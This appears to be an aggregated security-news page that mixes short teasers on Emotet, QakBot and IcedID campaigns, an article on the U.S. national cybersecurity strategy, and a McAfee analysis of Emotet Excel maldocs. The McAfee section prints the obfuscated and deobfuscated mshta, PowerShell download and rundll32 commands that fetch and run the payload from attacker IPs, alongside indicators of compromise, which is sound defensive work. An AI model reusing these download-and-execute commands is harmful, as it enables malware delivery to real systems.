QakBot Malware Resurfaces with New Tactics, Targeting the Hospitality Industry

A new wave of phishing messages distributing the QakBot malware has been observed, more than three months after a law enforcement effort saw its infrastructure dismantled by infiltrating its command-and-control (C2) network. Microsoft, which made the discovery, described it as a low-volume campaign that began on December 11, 2023, and targeted the hospitality industry. "Targets

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Microsoft has warned of a new wave of CACTUS ransomware attacks that leverage malvertising lures to deploy DanaBot as an initial access vector. The DanaBot infections led to "hands-on-keyboard activity by ransomware operator Storm-0216 (Twisted Spider, UNC2198), culminating in the deployment of CACTUS ransomware," the Microsoft Threat Intelligence team said in a series of posts on X (

New SOHO Router Botnet AVrecon Spreads to 70,000 Devices Across 20 Countries

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Emotet Rises Again: Evades Macro Security via OneNote Attachments

The notorious Emotet malware, in its return after a short hiatus, is now being distributed via Microsoft OneNote email attachments in an attempt to bypass macro-based security restrictions and compromise systems. Emotet, linked to a threat actor tracked as Gold Crestwood, Mummy Spider, or TA542, continues to be a potent and resilient threat despite attempts by law enforcement to take it down. A 

Highlights from the New U.S. Cybersecurity Strategy

The Biden administration today issued its vision for beefing up the nation’s collective cybersecurity posture, including calls for legislation establishing liability for software products and services that are sold with little regard for security. The White House’s new national cybersecurity strategy also envisions a more active role by cloud providers and the U.S. military in disrupting cybercriminal infrastructure, and it names China as the single biggest cyber threat to U.S. interests.

The strategy says the White House will work with Congress and the private sector to develop legislation that would prevent companies from disavowing responsibility for the security of their software products or services.

Coupled with this stick would be a carrot: An as-yet-undefined “safe harbor framework” that would lay out what these companies could do to demonstrate that they are making cybersecurity a central concern of their design and operations.

“Any such legislation should prevent manufacturers and software publishers with market power from fully disclaiming liability by contract, and establish higher standards of care for software in specific high-risk scenarios,” the strategy explains. “To begin to shape standards of care for secure software development, the Administration will drive the development of an adaptable safe harbor framework to shield from liability companies that securely develop and maintain their software products and services.”

Brian Fox, chief technology officer and founder of the software supply chain security firm Sonatype, called the software liability push a landmark moment for the industry.

“Market forces are leading to a race to the bottom in certain industries, while contract law allows software vendors of all kinds to shield themselves from liability,” Fox said. “Regulations for other industries went through a similar transformation, and we saw a positive result — there’s now an expectation of appropriate due care, and accountability for those who fail to comply. Establishing the concept of safe harbors allows the industry to mature incrementally, leveling up security best practices in order to retain a liability shield, versus calling for sweeping reform and unrealistic outcomes as previous regulatory attempts have.”

THE MOST ACTIVE, PERSISTENT THREAT

In 2012 (approximately three national cyber strategies ago), then director of the U.S. National Security Agency (NSA) Keith Alexander made headlines when he remarked that years of successful cyber espionage campaigns from Chinese state-sponsored hackers represented “the greatest transfer of wealth in history.”

The document released today says the People’s Republic of China (PRC) “now presents the broadest, most active, and most persistent threat to both government and private sector networks,” and says China is “the only country with both the intent to reshape the international order and, increasingly, the economic, diplomatic, military, and technological power to do so.”

Many of the U.S. government’s efforts to restrain China’s technology prowess involve ongoing initiatives like the CHIPS Act, a new law signed by President Biden last year that sets aside more than $50 billion to expand U.S.-based semiconductor manufacturing and research and to make the U.S. less dependent on foreign suppliers; the National Artificial Intelligence Initiative; and the National Strategy to Secure 5G.

As the maker of most consumer gizmos with a computer chip inside, China is also the source of an incredible number of low-cost Internet of Things (IoT) devices that are not only poorly secured, but are probably more accurately described as insecure by design.

The Biden administration said it would continue its previously announced plans to develop a system of labeling that could be applied to various IoT products and give consumers some idea of how secure the products may be. But it remains unclear how those labels might apply to products made by companies outside of the United States.

FIGHTING BADNESS IN THE CLOUD

One could convincingly make the case that the world has witnessed yet another historic transfer of wealth and trade secrets over the past decade — in the form of ransomware and data ransom attacks by Russia-based cybercriminal syndicates, as well as Russian intelligence agency operations like the U.S. government-wide Solar Winds compromise.

On the ransomware front, the White House strategy seems to focus heavily on building the capability to disrupt the digital infrastructure used by adversaries that are threatening vital U.S. cyber interests. The document points to the 2021 takedown of the Emotet botnet — a cybercrime machine that was heavily used by multiple Russian ransomware groups — as a model for this activity, but says those disruptive operations need to happen faster and more often.

To that end, the Biden administration says it will expand the capacity of the National Cyber Investigative Joint Task Force (NCIJTF), the primary federal agency for coordinating cyber threat investigations across law enforcement agencies, the intelligence community, and the Department of Defense.

“To increase the volume and speed of these integrated disruption campaigns, the Federal Government must further develop technological and organizational platforms that enable continuous, coordinated operations,” the strategy observes. “The NCIJTF will expand its capacity to coordinate takedown and disruption campaigns with greater speed, scale, and frequency. Similarly, DoD and the Intelligence Community are committed to bringing to bear their full range of complementary authorities to disruption campaigns.”

The strategy anticipates the U.S. government working more closely with cloud and other Internet infrastructure providers to quickly identify malicious use of U.S.-based infrastructure, share reports of malicious use with the government, and make it easier for victims to report abuse of these systems.

“Given the interest of the cybersecurity community and digital infrastructure owners and operators in continuing this approach, we must sustain and expand upon this model so that collaborative disruption operations can be carried out on a continuous basis,” the strategy argues. “Threat specific collaboration should take the form of nimble, temporary cells, comprised of a small number of trusted operators, hosted and supported by a relevant hub. Using virtual collaboration platforms, members of the cell would share information bidirectionally and work rapidly to disrupt adversaries.”

But here, again, there is a carrot-and-stick approach: The administration said it is taking steps to implement Executive Order (EO) 13984 –issued by the Trump administration in January 2021 — which requires cloud providers to verify the identity of foreign persons using their services.

“All service providers must make reasonable attempts to secure the use of their infrastructure against abuse or other criminal behavior,” the strategy states. “The Administration will prioritize adoption and enforcement of a risk-based approach to cybersecurity across Infrastructure-as-a-Service providers that addresses known methods and indicators of malicious activity including through implementation of EO 13984.”

Ted Schlein, founding partner of the cybersecurity venture capital firm Ballistic Ventures, said how this gets implemented will determine whether it can be effective.

“Adversaries know the NSA, which is the elite portion of the nation’s cyber defense, cannot monitor U.S.-based infrastructure, so they just use U.S.-based cloud infrastructure to perpetrate their attacks,” Schlein said. “We have to fix this. I believe some of this section is a bit pollyannaish, as it assumes a bad actor with a desire to do a bad thing will self-identify themselves, as the major recommendation here is around KYC (‘know your customer’).”

INSURING THE INSURERS

One brief but interesting section of the strategy titled “Explore a Federal Cyber Insurance Backdrop” contemplates the government’s liability and response to a too-big-to-fail scenario or “catastrophic cyber incident.”

“We will explore how the government can stabilize insurance markets against catastrophic risk to drive better cybersecurity practices and to provide market certainty when catastrophic events do occur,” the strategy reads.

When the Bush administration released the first U.S. national cybersecurity strategy 20 years ago after the 9/11 attacks, the popular term for that same scenario was a “digital Pearl Harbor,” and there was a great deal of talk then about how the cyber insurance market would soon help companies shore up their cybersecurity practices.

In the wake of countless ransomware intrusions, many companies now hold cybersecurity insurance to help cover the considerable costs of responding to such intrusions. Leaving aside the question of whether insurance coverage has helped companies improve security, what happens if every one of these companies has to make a claim at the same time?

The notion of a Digital Pearl Harbor incident struck many experts at the time as a hyperbolic justification for expanding the government’s digital surveillance capabilities, and an overstatement of the capabilities of our adversaries. But back in 2003, most of the world’s companies didn’t host their entire business in the cloud.

Today, nobody questions the capabilities, goals and outcomes of dozens of nation-state level cyber adversaries. And these days, a catastrophic cyber incident could be little more than an extended, simultaneous outage at multiple cloud providers.

The full national cybersecurity strategy is available from the White House website (PDF).

Emotet Malware Makes a Comeback with New Evasion Techniques

The Emotet malware operation has continued to refine its tactics in an effort to fly under the radar, while also acting as a conduit for other dangerous malware such as Bumblebee and IcedID. Emotet, which officially reemerged in late 2021 following a coordinated takedown of its infrastructure by authorities earlier that year, has continued to be a persistent threat that's distributed via

IcedID Malware Strikes Again: Active Directory Domain Compromised in Under 24 Hours

A recent IcedID malware attack enabled the threat actor to compromise the Active Directory domain of an unnamed target less than 24 hours after gaining initial access, while also borrowing techniques from other groups like Conti to meet its goals. "Throughout the attack, the attacker followed a routine of recon commands, credential theft, lateral movement by abusing Windows protocols, and

All You Need to Know About Emotet in 2022

For 6 months, the infamous Emotet botnet has shown almost no activity, and now it's distributing malicious spam. Let's dive into details and discuss all you need to know about the notorious malware to combat it. Why is everyone scared of Emotet? Emotet is by far one of the most dangerous trojans ever created. The malware became a very destructive program as it grew in scale and sophistication.

Notorious Emotet Malware Returns With High-Volume Malspam Campaign

The notorious Emotet malware has returned with renewed vigor as part of a high-volume malspam campaign designed to drop payloads like IcedID and Bumblebee. "Hundreds of thousands of emails per day" have been sent since early November 2022, enterprise security company Proofpoint said last week, adding, "the new activity suggests Emotet is returning to its full functionality acting as a delivery

Emotet Botnet Distributing Self-Unlocking Password-Protected RAR Files to Drop Malware

The notorious Emotet botnet has been linked to a new wave of malspam campaigns that take advantage of password-protected archive files to drop CoinMiner and Quasar RAT on compromised systems. In an attack chain detected by Trustwave SpiderLabs researchers, an invoice-themed ZIP file lure was found to contain a nested self-extracting (SFX) archive, the first archive acting as a conduit to launch

New Ursnif Variant Likely Shifting Focus to Ransomware and Data Theft

The Ursnif malware has become the latest malware to shed its roots as a banking trojan to revamp itself into a generic backdoor capable of delivering next-stage payloads, joining the likes of Emotet, Qakbot, and TrickBot. "This is a significant shift from the malware's original purpose to enable banking fraud, but is consistent with the broader threat landscape," Mandiant researchers Sandor

New Report Uncovers Emotet's Delivery and Evasion Techniques Used in Recent Attacks

Threat actors associated with the notorious Emotet malware are continually shifting their tactics and command-and-control (C2) infrastructure to escape detection, according to new research from VMware. Emotet is the work of a threat actor tracked as Mummy Spider (aka TA542), emerging in June 2014 as a banking trojan before morphing into an all-purpose loader in 2016 that's capable of delivering

New Emotet Variant Stealing Users' Credit Card Information from Google Chrome

Image Source: Toptal The notorious Emotet malware has turned to deploy a new module designed to siphon credit card information stored in the Chrome web browser. The credit card stealer, which exclusively singles out Chrome, has the ability to exfiltrate the collected information to different remote command-and-control (C2) servers, according to enterprise security company Proofpoint, which

Emotet’s Uncommon Approach of Masking IP Addresses

Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format: 185.7.214.7

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Threat Summary

1. The initial attack vector is a phishing email with a Microsoft Excel attachment. 
2. Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
3. The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
4. The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

FORMAT	OBFUSCATED CMD	DEOBFUSCATED CMD
Hexadecimal	cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html	http://185[.]7[.]214[.]7/fer/fer.html
Octal	cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html	http://46[.]105[.]81[.]76/c.html

Execution

On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.

cmd line

(New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’)

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

cmd line

cmd  /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString

IOC

TYPE	VALUE	SCANNER	DETECTION NAME
XLS	06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c	McAfee LiveSafe and Total Protection	X97M/Downloader.nn
DLL	a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3	McAfee LiveSafe and Total Protection	Emotet-FSY
HTML URL	http://185[.]7[.]214[.]7/fer/fer.html http://46[.]105[.]81[.]76/c.html	WebAdvisor	Blocked
DLL URL	http://185[.]7[.]214[.]7/fer/fer.png http://46[.]105[.]81[.]76/cc.png	WebAdvisor	Blocked

MITRE ATT&CK

TECHNIQUE ID	TACTIC	TECHNIQUE DETAILS	DESCRIPTION
T1566	Initial access	Phishing attachment	Initial maldoc uses phishing strings to convince users to open the maldoc
T1204	Execution	User Execution	Manual execution by user
T1071	Command and Control	Standard Application Layer Protocol	Attempts to connect through HTTP
T1059	Command and Scripting Interpreter	Starts CMD.EXE for commands execution	Excel uses cmd and PowerShell to execute command
T1218	Signed Binary Proxy Execution	Uses RUNDLL32.EXE and MSHTA.EXE to load library	rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript

Conclusion

Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.

S3 Ep59: Emotet, an FBI hoax, Samba bugs, and a hijackable suitcase [Podcast]

Latest episode - listen now!

Emotet malware: “The report of my death was an exaggeration”

"Old malware rarely dies." The best way to predict the future is to look at the past... if it worked before, it will probably work again.